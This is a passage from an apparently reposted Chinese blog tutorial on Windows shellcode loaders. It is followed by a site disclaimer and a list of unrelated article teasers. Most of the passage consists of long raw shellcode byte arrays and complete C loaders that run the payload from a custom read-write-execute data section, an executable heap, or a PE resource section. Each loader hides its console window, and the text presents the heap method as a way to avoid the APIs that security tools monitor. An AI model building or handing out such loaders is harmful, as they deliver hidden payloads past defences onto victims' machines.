x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
int main() {((void(*)()) & sc)(); //&sc
}

4.新增数据段(最终优化)

除了修改data段的内存属性, 还可以新增一个段, 设置为可执行的属性。

#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
#pragma data_seg("vdata") //自定义新数据段名称
unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";
//停止将数据放入新数据段中
#pragma data_seg()
//将新数据段的属性修改为可读可写可执行
#pragma comment(linker,"/SECTION:vdata,RWE") //记得修改成新数据段的名称
int main() {((void(*)()) & sc)(); //&sc
}

PS:这段代码是用于在 Windows 平台上创建一个特殊的数据段(segment)并在其中存储一些二进制数据。

  1. #pragma data_seg("vdata") : 这是一个编译器指令,用于告诉编译器将接下来的数据放置在名为"vdata" 的特殊数据段中。这个数据段是一个自定义命名的段,用于存储一些特殊的数据。
  1. #pragma data_seg() : 这个指令告诉编译器停止将数据放置在之前定义的特殊数据段中,即"vdata"。
  1. #pragma comment(linker,"/SECTION:vdata,RWE") : 这是一个链接器指令,告诉链接器将 "vdata"段标记为可读(Read)、可写(Write)、可执行(Execute)。这是为了确保在运行时可以修改这个段的内容,通常用于实现一些动态代码生成或者代码注入的技术。

5.通过堆加载

除了通过链接器修改数据段的内存属性外, 还可以通过HeapCreate api获取一个具有执行权限的堆, 并在其中分配一块内存,将其地址赋给shellcode, 也是一种规避 VirtualAlloc, VirtualProtect api的一种实现方法, 通过指针运行。

#include <windows.h>
#include <stdio.h>
// 不显示黑窗口
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") unsigned char sc[] = "\x90\xe8\x2d\x05\x00\x00\x32\x0c\xc2\x57\x38\x3e\xed\xfa\x4e\x90\xc7\xf2\x04\x00\x80\x9a\x00\x45\x30\x2c\x0e\x45\x02\x2c\x0e\xe2\xf6\xab\x87\x6f\x8f\x8b\x8b\x43\x61\x3b\xbc\x59\xf7\xa6\x15\xab\x20\x55\x20\x19\xec\x63\x41\x66\x66\xc2\x8a\xbe\x36\x72\x08\x3c\xb0\xaa\x18\xa2\x60\xab\xd2\x19\xa0\xcf\x8f\x05\xfe\xbf\xbc\x2c\x5d\x62\x31\x5e\x5b\x9d\x3e\x3e\x47\x96\x3a\xbe\xee\xc7\x9f\x6d\x49\x1c\xa9\x96\x70\x96\xdd\x93\xf2\x34\x53\x57\x97\x04\x87\x40\xe1\xdf\x1c\x9b\x3e\xbd\x22\x8b\xd9\xd2\xe7\xeb\x0f\x17\x73\x52\xaf\x78\xeb\x09\x9a\xf6\x24\x41\x36\xd6\x5a\x85\xb2\x9b\x83\x0d\x11\x3f\xfd\x77\xa3\xc8\x32\x05\xbd\xab\x7a\xe7\x74\xbf\x0c\xb6\x17\x0b\x36\x2d\x51\xdb\x34\xee\x6c\x66\x56\xc9\x69\x58\x1b\x5c\x2f\x0e\x1f\x30\x05\xef\x1e\x8c\x99\xbd\x9f\xa1\x0e\xc7\xc5\x88\x64\x18\xda\xab\x6b\x8b\x37\xf9\x70\xad\x87\xb3\x76\x7e\xb0\x3e\x70\x9f\xbe\x15\x9d\x13\x2f\x7b\x9c\xde\x17\x97\x1c\xa6\xea\x08\x73\x1b\x75\xbd\x8c\xb4\x00\xd3\xc3\xda\x89\xdb\x88\x56\x56\xac\x42\x50\x64\x90\x6f\x6a\x87\xd7\xbe\x2c\x0a\xba\xe5\xe3\x01\xb0\x0e\xf1\xec\x99\x6d\xd6\xc1\xaf\x94\xf4\x5c\x60\x28\xdf\xe4\xa6\xed\x4e\xc3\x24\x04\x6c\x4c\x53\x85\x0f\x11\x80\x39\xd3\xf6\xbf\x89\xc1\x59\x21\xbf\x37\x92\xb8\x4a\x47\x3b\x2a\xdc\xa3\xad\x12\xf9\xc9\x78\xc7\xc0\x62\x06\x74\x0b\xd3\x8a\x8b\xed\x62\x34\xe4\x2b\x58\x46\xa8\x98\xfc\x18\xf4\xea\xb5\xb6\x07\xf6\xbd\x4e\x87\xe3\xd6\xad\x21\xf4\x90\xe3\x18\x35\x3c\x88\x3c\x70\x81\xb3\x02\xa0\xe0\x53\x86\x2c\x1e\xc0\xf3\x00\x7a\x31\x72\x9a\x35\x2d\x98\xed\x5d\xb5\xbc\xd9\xf3\xaa\x85\x75\xa3\xa6\xad\x2f\x06\x08\xac\x7a\x9c\x1b\xca\xf4\xd3\x69\xbb\xb8\xb9\x49\x89\xa9\xce\xf6\x4f\xa1\x60\x92\x27\x06\xf4\x1c\x57\xbb\x00\x13\x2e\x24\x14\xea\x49\x6e\x0a\xf2\x3f\x5f\x6c\x23\x10\xde\x84\xb4\x34\x20\xb3\x68\x75\xf3\x8c\x4e\x07\xc4\xfb\xbc\xdd\x18\xb5\xf7\x83\x86\x00\x3b\xff\xbc\xdf\xeb\x82\x83\xb8\x2d\xf0\x97\x4c\x56\xfb\x91\x9f\x72\x5b\xad\xd6\xd3\x01\xfa\x3f\x1f\xc6\x69\x02\x39\xca\xa7\x2f\x3a\x5a\x21\xa7\x63\x58\x99\xd3\x3d\x78\xea\xaa\xb5\x44\x57\x65\x20\xcd\xcd\x55\x51\x5f\x6a\x6b\x48\x85\x80\xea\xb5\x27\x00\x8d\x34\xec\xce\x03\x9d\xb5\xd9\x0b\x75\xd8\x33\xf7\xdc\xbd\x1d\x15\xec\x66\x16\x98\x54\xfb\x4f\x30\x41\xce\x37\xb4\x1f\xfe\x01\xba\x81\xe8\xed\x64\x0e\xec\xf9\x67\xf2\x9a\x8e\x64\x43\xc0\x37\x7c\x05\xd5\x91\xb9\xcf\xdb\x45\xca\x28\xf6\x35\x7f\xd1\xee\xac\xea\x3f\x70\x9f\x01\x73\xee\x51\x1b\x66\xe6\x15\xb9\x3e\x7b\x96\xf5\xd0\x2b\xe7\x68\xfc\x53\xaf\xc4\xf2\x88\xd8\xd6\xaf\xe4\xc4\x2e\xdb\xd9\xe3\xec\x78\x80\xa0\x89\x15\x93\x48\xc3\x7e\x82\xab\x59\xb0\x4b\x89\x15\xeb\xe0\x12\x49\x80\xf0\x57\x38\xd7\x66\x35\xba\x56\x8f\x8c\x01\xe5\xff\x53\x92\xd1\x19\x44\xa2\x3a\xf4\xa0\xb3\xad\x86\x67\x17\xb2\x49\x5c\xd4\xba\xa4\x85\xc7\x69\x3e\xab\x09\x4a\x31\x69\x26\x28\x5c\x32\xce\x08\xe1\x66\xdd\x8d\x47\xa0\x68\x9b\x1a\xdc\xee\x94\x1f\x73\x0c\x41\xd3\xc9\x25\xed\xe5\x02\x92\x9b\x84\x02\x0b\x73\x0f\x77\x98\x18\xdb\x0e\x98\xb8\x1b\xba\x4f\xa2\x1a\x90\x3b\x4d\x4d\xd7\xc3\x9d\x49\x1e\x4b\xaa\x01\xa4\x6b\xd1\x27\xaa\x25\x79\x5a\x4e\x42\x75\x2c\x2b\xa5\x04\x0e\xed\x01\xf7\x58\xb7\xdd\xc4\xdb\x07\x74\x6a\x63\x2d\x16\xb5\x19\x5d\xed\xc4\x20\x64\xd6\x5e\xd7\xa7\xa8\xf8\xae\x3b\xb3\x2b\xd5\xfb\x62\x3a\x69\x6f\x4b\x57\xd2\xe8\xe1\x30\x9b\xc8\x47\xf2\x46\x30\x7d\x51\x4f\xfb\x5e\xc7\x61\x3f\x18\xbc\x25\xc1\x72\xdd\xef\x64\x40\xce\xcb\x55\xc4\x31\x3c\xc5\xa2\x34\x1a\xd9\x8e\xba\x6f\x32\xcc\xbb\x72\x0b\xac\xd5\x57\x8e\x7c\xe2\x10\xd2\xe8\xad\xd0\x47\x91\x15\xff\x38\x99\x36\x06\x4f\x3f\x81\x8a\x97\xf3\x86\xee\x5e\x19\x85\x33\xb3\xd0\xf5\x12\x90\x3c\x5a\x29\xce\xa6\x70\xd8\x93\x62\x9c\x9e\x37\xda\x94\xcf\x76\x4b\xee\xc4\x70\x6d\x81\xd1\x0d\x6c\x6a\x8e\x71\xbe\x0c\x9e\xf2\xc3\xb0\x59\xce\x92\xcc\xc4\xb4\x48\xe3\x32\x1d\x26\x57\x46\xca\x68\x52\x25\x0c\x4b\xc2\xb5\x30\xa5\x34\xd9\x77\xae\xcf\xaa\x5f\x03\xc9\xd4\x42\xfe\x82\xd2\xd8\xfd\xd7\x2c\x50\x35\x0f\xb4\x13\xca\x4e\x7e\xaa\xc9\x2e\x89\x90\x54\xa7\xd3\x37\x45\x01\xd6\x22\xf1\x40\xf5\xba\x27\xdd\x7c\xcf\x54\x58\xf9\x21\x17\xe8\x4f\xe9\x1f\x83\xc7\x92\x8c\x1d\xe2\x5e\xb6\xc4\x98\xa0\x07\x80\xbd\x97\x82\x8a\x11\x04\x38\x2d\x8c\x11\x09\x05\xd9\xd1\x35\x66\x29\x19\xd2\x78\x0c\x41\x95\xc6\x4a\xbb\xa7\x6c\x58\x2f\xd6\x11\xc9\x3c\x2d\xb6\x65\x93\xc1\x81\xbe\xed\x1b\xb8\xc4\xa9\xc0\x3b\xc7\x0d\x04\x89\xf2\x46\xbb\xc7\xf5\x11\xd8\xc2\xbc\x6c\x7f\x6c\x6a\x17\xf6\x39\x2d\x20\xec\x2c\xd2\xbe\x3d\x97\xf1\xbd\xad\xb6\xfd\x2c\xe7\xd6\x2a\x0c\xa9\x1f\x23\xbd\x4f\x21\x2d\xb7\x9d\x79\x66\x7a\x1d\x86\x70\x69\x02\x4b\x3e\x91\x83\x0c\xce\x1b\xf9\x9c\xaf\x5f\xd2\x56\xc3\x14\x10\xda\xd4\x1e\x15\x92\x30\xe4\x8b\xc1\x1b\x8b\x6a\x25\xe5\x37\x5c\x20\xd5\x2c\x16\x6a\xdb\xbe\xfb\x2e\x91\x4c\xfd\x41\x3a\x2d\x07\x8b\x2b\x25\x5f\x88\x06\x28\xb2\x18\x70\x33\x50\xed\xa9\x1a\x0e\xec\xe1\x8e\xf4\xa9\x97\xce\x88\xde\xf2\x25\x86\x85\x8d\xff\xb5\x34\x86\x34\xec\xc8\x71\xb8\xfe\x80\x22\x4c\x5e\x64\x9d\xd2\xf2\xcd\xce\x83\x64\xf0\xb7\x78\x91\xac\xf9\xc2\x28\x56\xb0\x1f\xaf\x24\xd4\x3e\xeb\x43\x9b\x57\xfd\x56\xc1\xfe\x34\x37\xf2\x2f\x9d\xea\x68\x31\x0c\xd5\xdc\x36\xe2\xe7\x60\xf3\x3b\xa9\xcf\x1b\xd0\xd7\x08\x21\xba\xec\x88\x45\xf2\x7f\xd8\x50\x03\x27\x7b\xac\x1d\x47\xaa\x0d\x57\xc4\xf4\x8e\x27\x75\x6b\x91\x91\x50\xd0\xc0\x8c\xa8\x87\x13\x06\x32\xed\xa0\x5f\x3a\x35\x3b\xea\x7a\x8b\xb7\x3c\xd0\xe4\xaa\xd1\x3d\xb5\xf2\x2b\x27\xe3\xa1\x59\x16\x47\x23\x07\xfb\x52\xdf\x64\x3d\x7a\xf3\x47\x53\x5b\xb0\xf5\xb2\x80\xc1\xb8\xfc\xc0\x28\x10\x41\xa0\x76\xc7\xb0\x48\x8b\x3c\x24\x48\x83\xec\x08\x81\x2f\xf1\x56\x6d\x0f\xf7\x57\x04\x81\x77\x08\x4e\x90\x8b\x7f\xc1\x47\x0c\x49\xff\xe7";void main() {// 创建一个具有执行权限的堆,以存储shellcodeHANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);// 在创建的堆中分配一块内存,并将其地址赋给bufferchar* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));// 将shellcode复制到buffer指向的内存中memcpy(buffer, sc, sizeof(sc));// 将buffer指向的内存地址强制转换为一个函数指针,并调用该函数,执行shellcode((void(*)()) buffer)();
}

6.shellcode存放在资源节

针对PE文件, 我们可以设置其资源文件, 把我们的shellcode文件当做资源文件导入, 然后在程序中定位到资源文件的位置, 读取相应的字节大小, 加载执行。

  1. 右键项目,添加资源
  2. 选第一个,点击导入
  3. 选择生成好的.bin文件(例如:pd.bin)
  4. 资源类型填文件名(例如:pd),然后点击确定
  5. 然后自定义bin文件的资源类型, 此处我自定义的类型为"jsq",当然你也可以定义成其它的名字添加完资源后会在当前项目生成一个resource.h, 代码如下所示,这里只需注意这段代码。#define IDR_JSQ1 101​
  6. 将 IDR_JSQ1​ 修改成 IDR_PD1​ 即可
#include <Windows.h>
#include "resource.h"
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗口
void main() {//第一个参数为NULL,第二个参数填resource.h里的IDR_PD1,第三个参数填自己定义的资源类型HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_PD1), L"pd");//用于获取资源的大小DWORD ResSize = SizeofResource(NULL, Res);//LoadResource函数会将指定资源句柄所指向的资源数据加载到内存中,并返回一个指向该资源数据的句柄HGLOBAL Load = LoadResource(NULL, Res);//申请内存void* buffer = VirtualAlloc(NULL, ResSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(buffer, Load, ResSize);//指针执行shellcode((void(*)()) buffer)();
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/68007.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言gdb调试

目录 1.gdb介绍 2.设置断点 2.1.测试代码 2.2.设置函数断点 2.3.设置文件行号断点 2.4.设置条件断点 2.5.多线程调试 3.删除断点 3.1.删除指定断点 3.2.删除全部断点 4.查看变量信息 4.1.p命令 4.2.display命令 4.3.watch命令 5.coredump日志 6.总结 1.gdb介绍…

[程序设计]—代理模式

[程序设计]—代理模式&#x1f473; 本文章记录学习于——52.面向切面&#xff1a;AOP-场景模拟_哔哩哔哩_bilibili 最近闲来无事&#xff0c;在学习Spring的源码&#xff1a; 后面慢慢更新源码系列blog&#xff0c;希望多多关注&#x1f64f;&#x1f64f; 目前已经总结的b…

我的128天创作之路:回顾与展望

大家好呀&#xff01;今天来和你们分享一下我的创作历程&#x1f601;。 一、机缘 最开始创作呢&#xff0c;是因为在学习 C 的 STL 时&#xff0c;像 string、list、vector 这些模板可把我折腾得够呛&#xff0c;但也让我学到了超多东西&#xff01;我就想&#xff0c;要是把我…

RAID储存技术

RAID独立磁盘冗余技术是一种把2个或者多个HDD或SSD合并为一个协调的存储单元或列阵&#xff0c;从而预防数据丢失的技术&#xff0c;其最早由加州大学伯克利分校的计算机科学家David Patterson、Garth Gibson和Randy Katz在1987年提出。他们的研究论文“关于RAID的论证”提出了…

Openstack持久存储-Swift,Cinder,Manila三者之间的区别

总结不易&#xff0c;给个三连吧&#xff01;&#xff01;&#xff01; 补充&#xff1a; 文件共享存储服务Manila 在OpenStack生态系统中&#xff0c;Cinder和Manila分别提供了两种不同类型的存储服务&#xff0c;类似于传统的SAN&#xff08;存储区域网络&#xff09;和NAS&…

软件测试预备知识④—NTFS权限管理、磁盘配额与文件共享

在软件测试的实际环境搭建与管理过程中&#xff0c;了解和掌握NTFS权限管理、磁盘配额以及文件共享等知识至关重要。这些功能不仅影响系统的安全性和稳定性&#xff0c;还对测试数据的存储、访问以及多用户协作测试有着深远的影响。 一、NTFS权限管理 1.1 NTFS简介 NTFS&am…

PyTorch深度学习CNN神经网络ResNet、DenseNet在CIFAR图像数据集分类应用与分析

全文链接&#xff1a;https://tecdat.cn/?p38782 在当今深度学习领域&#xff0c;卷积神经网络&#xff08;CNN&#xff09;架构不断发展与创新&#xff0c;诸多先进的架构被提出并广泛应用。像GoogleNet&#xff08;ILSVRC 2014获胜者&#xff09;、ResNet&#xff08;ILSVRC…

word论文排版常见问题汇总

word论文排版常见问题汇总 常用快捷键&#xff1a; Alt F9 正常模式与域代码模式切换 Ctrl F9 插入域代码 F9 刷新域代码显示&#xff0c;要注意选定后刷新才会有效果 word中在当前列表的基础上修改列表 在使用word时&#xff0c;我们会定义一个列表&#xff0c;并将其链接…

【Rust】数据类型

目录 思维导图 1. 数据类型概述 1.1 标量类型 1.1.1 整数类型 1.1.2 浮点数类型 1.1.3 布尔类型 1.1.4 字符类型 1.2 复合类型 1.2.1 元组类型 1.2.2 数组类型 2. 类型注解与类型推断 3. 整数溢出处理 4. 数字运算 5. 示例 思维导图 1. 数据类型概述 Rust是一种静…

Proteus-8086调试汇编格式的一点心得

这阵子开始做汇编的微机实验&#xff08;微机原理与接口技术题解及实验指导&#xff0c;吴宁版本13章&#xff09;&#xff0c;中间出了挺多问题&#xff0c;解决后记录下。 先上电路图 用子电路来仿真发现仿真的时候子电路这块根本没有高低电平输出&#xff0c;只好把子电路拿…

跨界融合:人工智能与区块链如何重新定义数据安全?

引言&#xff1a;数据安全的挑战与现状 在信息化驱动的数字化时代&#xff0c;数据已成为企业和个人最重要的资产之一。然而&#xff0c;随着网络技术的逐步优化和数据量的爆发式增长&#xff0c;数据安全问题也愈变突出。 数据安全现状&#xff1a;– 数据泄露驱动相关事件驱…

机器人碳钢去毛刺,用大扭去毛刺主轴可轻松去除

在碳钢精密加工的最后阶段&#xff0c;去除毛刺是确保产品质量的关键步骤。面对碳钢这种硬度较高的材料&#xff0c;采用大扭矩的SycoTec去毛刺主轴&#xff0c;成为了行业内的高效解决方案。SycoTec作为精密加工领域的领军品牌&#xff0c;其生产的高速电主轴以其卓越的性能&a…

大疆上云API连接遥控器和无人机

文章目录 1、部署大疆上云API关于如何连接我们自己部署的上云API2、开启无人机和遥控器并连接自己部署的上云API如果遥控器和无人机没有对频的情况下即只有遥控器没有无人机的情况下如果遥控器和无人机已经对频好了的情况下 4、订阅无人机或遥控器的主题信息4.1、订阅无人机实时…

[OPEN SQL] 限定选择行数

本次操作使用的数据库表为SCUSTOM&#xff0c;其字段内容如下所示 航班用户(SCUSTOM) 该数据库表中的部分值如下所示 指定查询多少行数据&#xff0c;我们可以使用语法UP TO n ROWS来实现对数据前n项的查询 语法格式 SELECT * FROM <dbtab> UP TO n ROWS 参数说明 db…

机器视觉3-线性分类器

机器视觉3-线性分类器 前言一、整体流程二、其他相关内容 图像的表示图像类型黑白图像灰度图像彩色图像 图像表示为向量一、基本概念二、表示方法三、优点四、局限性五、应用场景 线性分类器一、神经网络的层级结构形成非线性模型二、支撑向量机的高维映射形成非线性模型 线性分…

解决“无法定位程序输入点 av_buffer_create 于动态链接库 XXX\Obsidian.exe 上”问题

解决“无法定位程序输入点 av_buffer_create 于动态链接库 XXX\Obsidian.exe 上”问题 问题描述 本人在使用zotero中的zotero one&#xff08;青柠学术插件&#xff09;的时候&#xff0c;使用插件跳转obsidian中的对应笔记&#xff0c;出现上图情况。&#xff08;错误中提到的…

【数据结构高阶】B-树

目录 一、常见的搜索结构 二、B树 2.1 B树的概念 2.2 B树插入数据的分析 2.3 B树的性能分析 2.4 模拟实现B树 2.4.1 B树节点的定义 2.4.2 B树数据的查找 2.4.3 B树节点的数据插入 2.4.4 B树的遍历 2.4.5 模拟实现B树实现的完整代码 三、B树 3.1 B树的概念 3.2 B树…

《CPython Internals》阅读笔记:p97-p117

《CPython Internals》学习第 7 天&#xff0c;p97-p117 总结&#xff0c;总计 21 页。 一、技术总结 1.词法分析(lexical analysis) 根据《Compilers-Principles, Techniques, and Tools》(《编译原理》第2版)第 5 页&#xff1a;The first phase of a compiler is called …

2.两数相加--力扣

